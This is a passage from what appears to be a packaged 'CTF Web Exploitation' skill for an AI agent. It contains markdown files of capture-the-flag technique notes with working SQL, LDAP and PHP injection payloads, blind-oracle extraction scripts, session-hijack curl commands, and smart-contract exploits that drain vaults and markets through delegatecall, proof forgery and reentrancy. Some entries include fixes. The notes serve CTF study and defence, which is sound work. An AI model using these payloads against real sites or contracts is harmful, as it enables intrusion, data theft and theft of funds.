blocklist hits the username regex but the password field is rendered into the same query, split payloads across both inputs.\n\n**References:** picoCTF 2018 — THE VAULT, writeup 11747\n\n---\n\n## PHP Full-Width Dollar Regex Anchor Bypass (Hack.lu CTF 2018)\n\n**Pattern:** PHP regex `/^\\d+$/` uses the Unicode full-width dollar sign (`$`, U+FF04) instead of ASCII ` ctf-web — Skillopedia . PCRE treats the full-width character as a literal, so there is no end-of-string anchor and the match succeeds even with trailing garbage.\n\n```php\n// Vulnerable check\nif (preg_match('/^\\d+$/', $input)) { /* accepted */ }\n\n// Payload passes validation and later triggers long-string handling\n$_GET['key2'] = '1337$' . str_repeat('a', 50);\n```\n\n```bash\ncurl \"http://target/?key2=1337%EF%BC%84$(python3 -c 'print(\"a\"*50)')\"\n```\n\n**Key insight:** Always compare regex special characters by codepoint, not by appearance. Unicode look-alikes of ` ctf-web — Skillopedia , `^`, `.`, `[`, `]`, `*`, `+`, `?`, `(`, `)` are literals in PCRE and silently downgrade the pattern. Check every anchor in a filter with `hexdump -C` before trusting it.\n\n**References:** Hack.lu CTF 2018 — Baby PHP, writeup 11846\n\n---\n\n## MySQL REGEXP Byte-by-Byte Oracle + Backtick Comment Bypass (BSides Delhi 2018)\n\n**Pattern:** WAF blocks `|`, `-`, `\\`, `#`, `and`, `if`, `where`, `concat`, `insert`, `having`, and `sleep`, but leaves `REGEXP` and backtick identifiers alone. Use backtick-delimited comments `/**/` as space replacement and `REGEXP` as a Boolean oracle that matches an anchored prefix character-by-character. A trailing null byte terminates the query in old PHP/MySQL pairs and drops the surrounding single-quote.\n\n```text\n# Blacklist (partial): | - \\ ( ) # and if database where concat insert having sleep\n\n# Oracle query:\n/?user=`\\`&pw=`||pw/**/REGEXP/**/%22^1%22;%00\n\n# Iteratively extend the regex prefix:\n^1 → ^17 → ^172 → ^1729 ...\n```\n\n```python\nimport requests, string\nURL = \"http://target/\"\nprefix = \"\"\ncharset = string.ascii_letters + string.digits + \"{}_\"\nwhile True:\n for c in charset:\n pw = f\"`||pw/**/REGEXP/**/\\\"^{prefix+c}\\\";\\x00\"\n r = requests.get(URL, params={\"user\": \"`\\\\`\", \"pw\": pw})\n if \"Welcome\" in r.text:\n prefix += c\n print(prefix)\n break\n else:\n break\n```\n\n**Key insight:** `REGEXP` is rarely on a WAF keyword list and supports anchors (`^`, ` ctf-web — Skillopedia ) and character classes, giving a full byte-by-byte oracle without `AND`, `IF`, or `SUBSTRING`. Backticked column references bypass space stripping because `/**/` comments separate tokens without spaces. Null bytes after the payload truncate the SQL string early in MySQL clients that still honor embedded NULs.\n\n**References:** BSides Delhi CTF 2018 — Old School SQL, writeup 11953\n\n---\n\n## LDAP Filter Breakout with Wildcard Injection (CSAW 2018)\n\n**Pattern:** An LDAP search filter `(&(GivenName=\u003cinput>)(!(GivenName=Flag)))` interpolates user input without escaping parentheses or wildcards. Inject `*))(|(uid=*` to close the first clause, open a disjunction, and match every entry — including the blocked `Flag` account.\n\n```text\n# Original filter\n(&(GivenName=Alice)(!(GivenName=Flag)))\n\n# Injected input: *))(|(uid=*\n# Resulting filter\n(&(GivenName=*))(|(uid=*)(!(GivenName=Flag)))\n\n# The `&` now only sees (GivenName=*), and the trailing disjunction + leftover\n# negation become ignored extra filter components.\n```\n\n```python\nimport requests\nr = requests.get(\"http://target/search\", params={\"name\": \"*))(|(uid=*\"})\nprint(r.text)\n```\n\n**Key insight:** LDAP filters use a prefix-notation boolean tree: `&` / `|` / `!` followed by parenthesised children. Unescaped user input that contains `)`, `(`, `*`, or `\\` lets the attacker rebalance that tree. Common payloads: `*)(uid=*` (OR wildcard), `*))(&(1=1)` (force true), `foo)(|(password=*)` (enumerate records). Escape with `\\28`, `\\29`, `\\2a`, `\\5c` on the server side.\n\n**References:** CSAW CTF Qualification Round 2018 — ldab, writeup 11207\n\n---\n\n## PHP parse_str() Variable Injection (TokyoWesterns 2018)\n\n**Pattern:** PHP's `parse_str($str)` — called without a result array — writes every key in the query string as a local variable in the current scope. Attacker-controlled keys overwrite authentication variables such as `$hashed_password` that the script compares against a precomputed hash.\n\n```php\n// Vulnerable\nparse_str($_SERVER['QUERY_STRING']); // $hashed_password ← attacker input\nif (md5($password) === $hashed_password) { login(); }\n\n// Safe form\nparse_str($_SERVER['QUERY_STRING'], $params);\n```\n\n```bash\n# Set the target variable directly from the query string\ncurl \"http://target/auth.php?action=auth&password=anything&hashed_password=$(php -r 'echo md5(\"anything\");')\"\n```\n\n**Key insight:** `parse_str()` and `extract()` are register_globals-style primitives: any parameter sent by the client becomes a PHP variable that might shadow logic the developer assumed was local. The fix is always the two-argument form. When auditing PHP, grep for `parse_str\\(\\s*\\$[^,]*\\)` with no comma.\n\n**References:** TokyoWesterns CTF 4th 2018 — SimpleAuth, writeup 11034\n\n---\n\n## ExpressionEngine FileManager ORDER BY Sort-Key SQLi (35C3 2018)\n\n**Pattern:** ExpressionEngine's file-manager endpoint takes a `tbl_sort` array from the client and passes each `[column, direction]` pair directly to `$db->order_by($key, $val)`. Column names are concatenated into SQL with no allowlist, so the attacker controls an `ORDER BY` expression.\n\n```http\nPOST /cp/tbl_sort[0][]=(select if(substr(user_password,1,1)='a',sleep(5),0) from exp_members) tbl_sort[0][]=ASC\n```\n\nUse `sleep()` / `benchmark()` inside the sort expression to run a blind timing oracle on the admin password hash.\n\n**Key insight:** Any ORM that lets the client pick sort columns must allowlist them. The attack is particularly nasty because `ORDER BY` subqueries are rarely caught by WAFs that focus on `SELECT`/`UNION` keywords.\n\n**References:** 35C3 CTF 2018 — ExpressionEngine filemanager SQLi, writeup 12880\n\n---\n\n## SQLite UNION via X-Forwarded-For with PHPSESSID Oracle (NCSC 2019)\n\n**Pattern:** A session initializer builds `SELECT ... FROM nxf8_sessions WHERE ip_address = '\u003cX-Forwarded-For>'` and copies the resulting row into the `PHPSESSID` cookie. The value of the last column of your UNION row becomes the cookie — a free one-shot exfiltration channel. The error message `unrecognized token` reveals SQLite; enumerate with `sqlite_master`.\n\n```bash\n# Discover column count (4 columns in this table)\ncurl -i http://target/ -H \"X-Forwarded-For: pwnd' union select null,null,null,null from nxf8_users where '1'='1\"\n\n# Leak table definitions from sqlite_master\ncurl -i http://target/ -H \"X-Forwarded-For: pwnd' union select null,null,null,sql from sqlite_master where tbl_name='nxf8_users' and type='table\"\n\n# Exfiltrate a specific row (session_id for user 5)\ncurl -i http://target/ -H \"X-Forwarded-For: pwnd' union select null,null,null,session_id from nxf8_sessions where user_id=5 and '1'='1\"\n# -> Set-Cookie: PHPSESSID=\u003cleaked value>\n```\nPad with `null` columns until the UNION fits; place the target expression in the column whose value is reflected in the cookie. Reuse the leaked `session_id` as your own `PHPSESSID` to impersonate the target user (e.g., Maria).\n\n**Key insight:** Session-ID generation logic often includes unsanitized HTTP headers (`X-Forwarded-For`, `Client-IP`, `True-Client-IP`). The reflected row becomes a free oracle: no error-based or time-based inference required. SQLite-specific UNION uses `null` padding and `sqlite_master(type,name,tbl_name,sql)` for schema enumeration (no `information_schema`).\n\n**References:** Quals Saudi and Oman National Cyber Security CTF 2019 — Maria, writeup 13236\n\n---\n\n## Quote-Adjacent UNION Keyword Filter Bypass (TAMUctf 2019)\n\n**Pattern:** Application blocks the word `UNION` but naively looks for `\" UNION \"` (space-delimited). The SQL lexer treats a closing quote as a token boundary, so `'UNION` is still parsed as the keyword `UNION` after the string literal closes. Placing `UNION` flush against the closing quote slips past the string filter while the parser still accepts it.\n\n```sql\n-- Original: SELECT items FROM Search WHERE items='\u003cinput>';\n-- Blocked (filter sees \" UNION \"):\naggies' UNION SELECT 1; #\n\n-- Bypass (no space before UNION — filter sees \"UNION\" embedded in word \"aggies'UNION\"):\naggies'UNION SELECT 1; #\n\n-- Drop the string prefix entirely:\n'UNION SELECT @@VERSION #\n'UNION ALL SELECT GROUP_CONCAT(table_schema) FROM information_schema.tables WHERE table_schema!='information_schema' #\n'UNION ALL SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema!='information_schema' #\n'UNION ALL SELECT grantee FROM information_schema.user_privileges #\n```\n\n**Key insight:** Naive blacklists look for whitespace-delimited keywords, but SQL lexers tolerate quote-adjacent tokens — the closing `'` is implicit whitespace to the parser. The same trick works for `/*!50000UNION*/`, tab/newline (`%09`, `%0a`), parentheses (`UNION(SELECT...)`), and comment blocks (`UNION/**/SELECT`). Also probe `information_schema.user_privileges` for the `grantee` column — CTF authors often hide flags as the privileged user's name.\n\n**References:** TAMUctf 2019 — Bird Box Challenge, writeup 13860\n\n---\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":38723,"content_sha256":"7c9857aa0e2bcf21f765f4314821b1cc5e1c51cbe816c168b9741608eb1e7ae2"},{"filename":"web3.md","content":"# CTF Web - Web3 / Blockchain Challenges\n\n## Table of Contents\n- [Challenge Infrastructure Pattern](#challenge-infrastructure-pattern)\n - [Auth Implementation (Python)](#auth-implementation-python)\n- [EIP-1967 Proxy Pattern Exploitation](#eip-1967-proxy-pattern-exploitation)\n- [ABI Coder v1 vs v2 - Dirty Address Bypass](#abi-coder-v1-vs-v2---dirty-address-bypass)\n- [Solidity CBOR Metadata Stripping for Codehash Bypass](#solidity-cbor-metadata-stripping-for-codehash-bypass)\n- [Non-Standard ABI Calldata Encoding](#non-standard-abi-calldata-encoding)\n- [Solidity bytes32 String Encoding](#solidity-bytes32-string-encoding)\n- [Complete Exploit Flow (House of Illusions)](#complete-exploit-flow-house-of-illusions)\n- [Delegatecall Storage Context Abuse (EHAX 2026)](#delegatecall-storage-context-abuse-ehax-2026)\n- [Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)](#groth16-proof-forgery-for-blockchain-governance-dicectf-2026)\n- [Phantom Market Unresolve + Force-Funding (DiceCTF 2026)](#phantom-market-unresolve--force-funding-dicectf-2026)\n- [Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)](#solidity-transient-storage-clearing-helper-collision-solidity-0828-0833)\n- [Reentrancy Attack - DAO Pattern (DefCamp 2017)](#reentrancy-attack---dao-pattern-defcamp-2017)\n- [Web3 CTF Tips](#web3-ctf-tips)\n\n---\n\n## Challenge Infrastructure Pattern\n\n1. **Auth**: GET `/api/auth/nonce` → sign with `personal_sign` → POST `/api/auth/login`\n2. **Instance creation**: Call `factory.createInstance()` on-chain (requires testnet ETH)\n3. **Exploit**: Interact with deployed instance contracts\n4. **Check**: GET `/api/challenges/check-solution` → returns flag if `isSolved()` is true\n\n### Auth Implementation (Python)\n```python\nfrom eth_account import Account\nfrom eth_account.messages import encode_defunct\nimport requests\n\nacct = Account.from_key(PRIVATE_KEY)\ns = requests.Session()\nnonce = s.get(f'{BASE}/api/auth/nonce').json()['nonce']\nmsg = encode_defunct(text=nonce)\nsig = acct.sign_message(msg)\nr = s.post(f'{BASE}/api/auth/login', json={\n 'signedNonce': '0x' + sig.signature.hex(),\n 'nonce': nonce,\n 'account': acct.address.lower() # Challenge-specific: this server expected lowercase\n})\ns.cookies.set('token', r.json()['token'])\n```\n\n**Key notes:**\n- Some CTF servers expect lowercase addresses (not EIP-55 checksummed) — check the frontend JS to confirm. This is NOT universal; other challenges may require checksummed format\n- Bundle.js contains chain ID, contract addresses, and auth flow details\n- Use `cast` (Foundry) for on-chain interactions: `cast call`, `cast send`, `cast storage`\n\n---\n\n## EIP-1967 Proxy Pattern Exploitation\n\n**Storage slots:**\n```text\nImplementation: keccak256(\"eip1967.proxy.implementation\") - 1\nAdmin: keccak256(\"eip1967.proxy.admin\") - 1\n```\n\n```bash\ncast storage $PROXY 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc # impl\ncast storage $PROXY 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 # admin\n```\n\n**Key insight:** Proxy delegates calls to implementation, but storage lives on the proxy. `address(this)` in delegatecall = proxy address.\n\n---\n\n## ABI Coder v1 vs v2 - Dirty Address Bypass\n\nSolidity 0.8.x defaults to ABI coder v2, which validates `address` parameters have zero upper 12 bytes. With `pragma abicoder v1`, no validation.\n\n**Pattern (House of Illusions):**\n1. Contract requires dirty address bytes but uses `address` type\n2. ABI coder v2 rejects with empty revert data (`\"0x\"`)\n3. Deploy with `pragma abicoder v1` → different bytecode, no validation\n4. Swap implementation via proxy's upgrade function\n\n**Detection:** Call reverts with empty data (`\"0x\"`) = ABI coder v2 validation.\n\n---\n\n## Solidity CBOR Metadata Stripping for Codehash Bypass\n\nProxy checks `keccak256(strippedCode) == ALLOWED_CODEHASH` where metadata is stripped.\n\n```python\ncode = bytes.fromhex(bytecode[2:])\nmeta_len = int.from_bytes(code[-2:], 'big')\nstripped = code[:len(code) - meta_len - 2]\ncodehash = keccak256(stripped)\n```\n\n---\n\n## Non-Standard ABI Calldata Encoding\n\n**Overlapping calldata:** When contract enforces `msg.data.length == 100` but has `(address, bytes)` params:\n```text\nStandard: 4 + 32(addr) + 32(offset=0x40) + 32(len) + 32(data) = 132 bytes\nCrafted: 4 + 32(dirty_addr) + 32(offset=0x20) + 32(sigil_data) = 100 bytes\n```\nOffset `0x20` serves dual purpose: offset pointer AND bytes length.\n\n---\n\n## Solidity bytes32 String Encoding\n\n`bytes32(\"0xAnan or Tensai?\")` stores ASCII left-aligned with zero padding:\n```text\n0x3078416e616e206f722054656e7361693f000000000000000000000000000000\n```\n\n---\n\n## Complete Exploit Flow (House of Illusions)\n\n```bash\nexport PATH=\"$PATH:/Users/lcf/.foundry/bin\"\nRPC=\"https://ethereum-sepolia-rpc.publicnode.com\"\n\nforge create src/IllusionHouse.sol:IllusionHouse --private-key $KEY --rpc-url $RPC --broadcast\ncast send $PROXY \"reframe(address)\" $NEW_IMPL --private-key $KEY --rpc-url $RPC\ncast send $PROXY $CRAFTED_CALLDATA --private-key $KEY --rpc-url $RPC\ncast send $PROXY \"appointCurator(address)\" $MY_ADDR --private-key $KEY --rpc-url $RPC\ncast call $FACTORY \"isSolved(address)(bool)\" $MY_ADDR --rpc-url $RPC\n```\n\n---\n\n## Delegatecall Storage Context Abuse (EHAX 2026)\n\n**Pattern (Heist v1):** Vault contract with `execute()` that does `delegatecall` to a governance contract. `setGovernance()` has **no access control**.\n\n**Storage layout awareness:** `delegatecall` runs callee code in caller's storage context. If vault has:\n- Slot 0: `paused` (bool) + `fee` (uint248) — packed\n- Slot 1: `admin` (address)\n- Slot 2: `governance` (address)\n\nWriting to slot 0/1 in the delegated contract modifies the vault's `paused` and `admin`.\n\n**Attack chain:**\n1. Deploy attacker contract matching vault's storage layout\n2. `setGovernance(attacker_address)` — no access control\n3. `execute(abi.encodeWithSignature(\"attack(address)\", player))` — delegatecall\n4. Attacker's `attack()` writes `paused=false` to slot 0, `admin=player` to slot 1\n5. `withdraw()` — now authorized as admin with vault unpaused\n\n```solidity\ncontract Attacker {\n bool public paused; // slot 0 (match vault layout)\n uint248 public fee; // slot 0\n address public admin; // slot 1\n address public governance; // slot 2\n\n function attack(address _newAdmin) public {\n paused = false;\n admin = _newAdmin;\n }\n}\n```\n\n```bash\n# Deploy attacker\nforge create Attacker.sol:Attacker --rpc-url $RPC --private-key $KEY\n# Hijack governance\ncast send $VAULT \"setGovernance(address)\" $ATTACKER --rpc-url $RPC --private-key $KEY\n# Execute delegatecall\nCALLDATA=$(cast calldata \"attack(address)\" $PLAYER)\ncast send $VAULT \"execute(bytes)\" $CALLDATA --rpc-url $RPC --private-key $KEY\n# Drain\ncast send $VAULT \"withdraw()\" --rpc-url $RPC --private-key $KEY\n```\n\n**Key insight:** Always check if `setGovernance()` / `setImplementation()` / upgrade functions have access control. Unprotected governance setters + delegatecall = full storage control.\n\n---\n\n## Groth16 Proof Forgery for Blockchain Governance (DiceCTF 2026)\n\n**Pattern (Housing Crisis):** DAO governance protected by Groth16 ZK proofs. Two ZK-specific vulnerabilities:\n\n**Broken trusted setup (delta == gamma):** Trivially forge any proof:\n```python\nfrom py_ecc.bn128 import G1, G2, multiply, add, neg\n\n# When vk_delta_2 == vk_gamma_2, set:\nforged_A = vk_alpha1\nforged_B = vk_beta2\nforged_C = neg(vk_x) # negate the public input accumulator\n# This verifies for ANY public inputs\n```\n\n**Proof replay (unconstrained nullifier):** DAO never tracks used `proposalNullifierHash` values. Extract a valid proof from the setup contract's deployment transaction and replay it for every proposal.\n\n**When to check in Web3 challenges:**\n1. Compare `vk_delta_2` and `vk_gamma_2` — if equal, Groth16 is trivially broken\n2. Check if the verifier contract tracks proof nullifiers\n3. Look for valid proofs in deployment/setup transactions\n\n---\n\n## Phantom Market Unresolve + Force-Funding (DiceCTF 2026)\n\n**Pattern (Housing Crisis):** Prediction market with DAO governance. Three combined vulnerabilities drain the market.\n\n**Vulnerability 1 — Phantom market betting:**\n`bet()` checks `marketResolution[market] == 0` but NOT whether the market formally exists (no `market \u003c nextMarketIndex` check). Bet on phantom market IDs (beyond `nextMarketIndex`).\n\n**Vulnerability 2 — State persistence on unresolve:**\nWhen `createMarket()` later reaches the phantom market ID, it writes `marketResolution[id] = 0`. This effectively \"unresolves\" the market, but old `totalYesBet`/`totalNoBet` values persist, enabling a second cashout.\n\n**Vulnerability 3 — Force-fund via selfdestruct:**\n```solidity\n// EIP-6780: selfdestruct in constructor sends ETH even to contracts without receive()\ncontract ForceSend {\n constructor(address payable target) payable {\n selfdestruct(target); // Forces ETH into DAO\n }\n}\n// Deploy: new ForceSend{value: amount}(dao_address)\n```\n\n**Drain cycle:**\n1. Force-fund DAO with `2*marketBalance` wei\n2. Helper1 bets 1 wei NO on phantom market N\n3. DAO bets `2*marketBalance` YES via delegatecall proposal\n4. Resolve market NO → Helper1 cashouts (net zero for market, but `totalYesBet` persists)\n5. `createMarket()` reaches N → writes `marketResolution[N]=0` (unresolve)\n6. Helper2 bets 1 wei NO → resolve NO → Helper2 cashout = `1 + totalYesBet/2 = 1 + marketBalance`\n\n**Key math:** Payout = `helperBet + helperBet * totalYesBet / totalNoBet = 1 + 1 * 2*mBal / 2 = 1 + mBal`. Market had `mBal + 1`, pays `1 + mBal` → balance = 0.\n\n**Gotchas:**\n- **EVM `.call` with insufficient balance silently fails** — size DAO bet so payout ≤ market balance\n- **ethers.js BigInt:** Use `!== 0n` not `!== 0` for comparisons\n- **EIP-6780 selfdestruct:** Must be in constructor (not runtime) for same-tx contract deletion, but ETH transfer works either way\n\n**When to check:** Prediction markets / betting contracts — always test: can you bet on non-existent market IDs? Does market creation reset resolution state without clearing bet totals?\n\n---\n\n## Solidity Transient Storage Clearing Helper Collision (Solidity 0.8.28-0.8.33)\n\n**Affected:** Solidity 0.8.28 through 0.8.33, IR pipeline only (`--via-ir` flag). Fixed in 0.8.34.\n\n**Root cause:** The IR pipeline generates Yul helper functions for `delete` operations. The helper name is derived from the value type but **omits the storage location** (persistent vs. transient). When a contract uses `delete` on both a persistent and transient variable of the same type, both generate identically-named helpers. Whichever compiles first determines the implementation — the other uses the **wrong opcode** (`sstore` instead of `tstore` or vice versa).\n\n**Vulnerable pattern:**\n```solidity\ncontract Vulnerable {\n address public owner; // persistent, slot 0\n mapping(uint256 => address) public m; // persistent\n address transient _lock; // transient\n\n function guarded() external {\n require(_lock == address(0), \"locked\");\n _lock = msg.sender;\n // BUG: delete _lock uses sstore (persistent) instead of tstore\n // This writes zero to slot 0, overwriting owner!\n delete _lock;\n }\n}\n```\n\n**Two exploit directions:**\n1. **Transient `delete` uses `sstore`:** Overwrites persistent storage (slot 0 = owner/access control variables). Transient variable remains set, breaking reentrancy locks\n2. **Persistent `delete` uses `tstore`:** Approvals/mappings cannot be revoked. The `tstore` write is discarded at transaction end\n\n**Cross-type collisions via array clearing:** Array `.pop()`, `delete []`, and shrinking operations clear at slot granularity using `uint256` helpers. A `bool[]` clearing collides with `delete uint256 transient _temp`.\n\n**Detection:**\n```bash\n# Compare Yul output — if storage_set_to_zero_ calls change to\n# transient_storage_set_to_zero_ in 0.8.34, the contract was affected\nsolc --via-ir --ir Contract.sol > yul_output.txt\n```\n\n**Workaround:** Replace `delete _lock` with `_lock = address(0)` — direct zero assignment uses the correct opcode path.\n\n**Key insight:** The bug requires all three conditions: `--via-ir` compilation, `delete` on a transient variable, and a matching-type persistent `delete` in the same compilation unit. No compiler warning is produced, and incorrect storage operations do not revert — they silently corrupt state.\n\n---\n\n## Reentrancy Attack - DAO Pattern (DefCamp 2017)\n\n**Pattern:** A `withdraw()` function sends ETH via `msg.sender.call.value(amount)()` before updating the sender's balance. A malicious contract's fallback function re-calls `withdraw()` recursively, draining funds before the balance is ever zeroed.\n\n```solidity\n// Vulnerable contract:\ncontract VulnerableBank {\n mapping(address => uint) public balances;\n\n function deposit() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdraw() public {\n uint amount = balances[msg.sender];\n require(amount > 0);\n // BUG: sends ETH before updating state\n (bool success,) = msg.sender.call{value: amount}(\"\");\n require(success);\n balances[msg.sender] = 0; // too late — attacker re-entered before this line\n }\n}\n```\n\n```solidity\n// Attacker contract:\ncontract Attacker {\n VulnerableBank public target;\n uint public count;\n\n constructor(address _target) {\n target = VulnerableBank(_target);\n }\n\n function attack() external payable {\n target.deposit{value: msg.value}();\n target.withdraw();\n }\n\n // Fallback: re-enters withdraw() while balance hasn't been zeroed yet\n receive() external payable {\n if (count \u003c 10 && address(target).balance >= msg.value) {\n count++;\n target.withdraw(); // re-entrant call\n }\n }\n}\n```\n\n```python\n# Deploy and trigger via web3.py / Foundry:\n# forge create Attacker --constructor-args $VULNERABLE_ADDR --rpc-url $RPC --private-key $KEY\n# cast send $ATTACKER \"attack()\" --value 1ether --rpc-url $RPC --private-key $KEY\n```\n\n**Fix patterns:**\n```solidity\n// Option 1: Checks-Effects-Interactions (zero balance BEFORE sending)\nfunction withdraw() public {\n uint amount = balances[msg.sender];\n require(amount > 0);\n balances[msg.sender] = 0; // effect first\n (bool success,) = msg.sender.call{value: amount}(\"\");\n require(success);\n}\n\n// Option 2: Use transfer() — gas-limited to 2300 (not enough for re-entry)\npayable(msg.sender).transfer(amount);\n\n// Option 3: ReentrancyGuard (OpenZeppelin)\n```\n\n**Key insight:** External calls via `call.value()` before state updates create reentrancy — the attacker's fallback re-enters the vulnerable function before the first call completes. The DAO hack (2016) drained $60M using this exact pattern. Always zero balances or use a mutex before making external calls.\n\n---\n\n## Web3 CTF Tips\n\n- **Factory pattern:** Instance = per-player contract. Check `playerToInstance(address)` mapping.\n- **Proxy fallback:** All unrecognized calls go through delegatecall to implementation.\n- **Upgrade functions:** Check if they have access control! Many challenges leave these open.\n- **address(this) in delegatecall:** Always refers to the proxy, not the implementation.\n- **Storage layout:** mappings use `keccak256(abi.encode(key, slot))` for storage location.\n- **Empty revert data (`0x`):** Usually ABI decoder validation failure.\n- **Contract nonce:** Starts at 1. Nonce = 1 means no child contracts created.\n- **Derive child addresses:** `keccak256(rlp.encode([parent_address, nonce]))[-20:]`\n- **Foundry tools:** `cast call` (read), `cast send` (write), `cast storage` (raw slots), `forge create` (deploy)\n- **Sepolia faucets:** Google Cloud faucet (0.05 ETH), Alchemy, QuickNode\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15870,"content_sha256":"feb9fd8a498a14c413a7673c7d9dad8c690866096053f28d5a6b7315f9b9a0dd"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"CTF Web Exploitation","type":"text"}]},{"type":"paragraph","content":[{"text":"Use this skill as a routing and execution guide for web-heavy challenges. Keep the first pass short: map the app, confirm the trust boundary, and only then dive into the detailed technique notes.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Prerequisites","type":"text"}]},{"type":"paragraph","content":[{"text":"Python packages (all platforms):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"pip install sqlmap flask-unsign requests","type":"text"}]},{"type":"paragraph","content":[{"text":"Linux (apt):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"apt install hashcat jq curl","type":"text"}]},{"type":"paragraph","content":[{"text":"macOS (Homebrew):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"brew install hashcat jq curl","type":"text"}]},{"type":"paragraph","content":[{"text":"Go tools (all platforms, requires Go):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"go install github.com/ffuf/ffuf/v2@latest","type":"text"}]},{"type":"paragraph","content":[{"text":"Manual install:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ysoserial — ","type":"text"},{"text":"GitHub","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/frohoff/ysoserial","title":null}}]},{"text":", requires Java (Java deserialization payloads)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Additional Resources","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"sql-injection.md","type":"text","marks":[{"type":"link","attrs":{"href":"sql-injection.md","title":null}}]},{"text":" - SQL injection techniques: auth bypass, UNION extraction, filter bypasses, second-order SQLi, truncation, race-assisted leaks, INSERT ON DUPLICATE KEY UPDATE password overwrite, innodb_table_stats WAF bypass","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side.md","title":null}}]},{"text":" - PHP type juggling, php://filter LFI, Python str.format traversal, SSTI (Jinja2, Twig, ERB, Mako, EJS, Vue.js, Smarty), SSRF (Host header, DNS rebinding, curl redirect, unescaped-dot regex, SNI FTP smuggling, mod_vhost_alias), PHP hash_hmac NULL","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-2.md","title":null}}]},{"text":" - XXE (basic, OOB, DOCX upload), XML injection via X-Forwarded-For, PHP variable variables, PHP uniqid predictable filename, sequential regex replacement bypass, command injection (newline, blocklist, sendmail CGI, multi-barcode, git CLI), GraphQL injection (introspection, batching, interpolation)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-exec.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-exec.md","title":null}}]},{"text":" - Direct code execution paths, upload-to-RCE, deserialization-adjacent execution, LaTeX injection, header and API abuses","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-exec-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-exec-2.md","title":null}}]},{"text":" - More execution chains: SQLi fragmentation, path parser tricks, polyglot uploads, wrapper abuse, filename injection, BMP pixel webshell with filename truncation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-deser.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-deser.md","title":null}}]},{"text":" - Java/Python/PHP deserialization and race-condition playbooks, PHP SoapClient CRLF SSRF via deserialization","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-advanced.md","title":null}}]},{"text":" - Advanced SSRF, traversal, archive, parser, framework, and modern app-server issues, Nginx alias traversal","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-advanced-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-advanced-2.md","title":null}}]},{"text":" - Docker API SSRF, Castor/XML, Apache expression reads, parser discrepancies, Windows path tricks, rogue MySQL server file read","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-advanced-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-advanced-3.md","title":null}}]},{"text":" - Part 3 (CSAW/35C3/ASIS/PlaidCTF 2018): WAV polyglot upload, multi-slash URL ","type":"text"},{"text":"path.startswith","type":"text","marks":[{"type":"code_inline"}]},{"text":" bypass, Xalan XSLT ","type":"text"},{"text":"math:random()","type":"text","marks":[{"type":"code_inline"}]},{"text":" seed guess, SoapClient ","type":"text"},{"text":"_user_agent","type":"text","marks":[{"type":"code_inline"}]},{"text":" CRLF method smuggling, ","type":"text"},{"text":"gopher:///","type":"text","marks":[{"type":"code_inline"}]},{"text":" no-host URL scheme bypass, SSRF credential leak via attacker-specified outbound URL","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"server-side-advanced-4.md","type":"text","marks":[{"type":"link","attrs":{"href":"server-side-advanced-4.md","title":null}}]},{"text":" - Part 4: WeasyPrint SSRF/file read (CVE-2024-28184), MongoDB regex/$where blind oracle, Pongo2 Go template injection, ZIP PHP webshell, basename() bypass, wget CRLF SSRF→SMTP, Gopher SSRF to MySQL blind SQLi, React Server Components Flight RCE (CVE-2025-55182), AMQP/TLS interception via sslsplit+arpspoof, CairoSVG XXE, Bazaar repo reconstruction","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"client-side.md","type":"text","marks":[{"type":"link","attrs":{"href":"client-side.md","title":null}}]},{"text":" - XSS, CSRF, cache poisoning, DOM tricks, admin bot abuse, request smuggling, paywall bypass","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"client-side-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"client-side-advanced.md","title":null}}]},{"text":" - CSP bypasses, Unicode tricks, XSSI, CSS exfiltration, browser normalization quirks, postMessage null origin 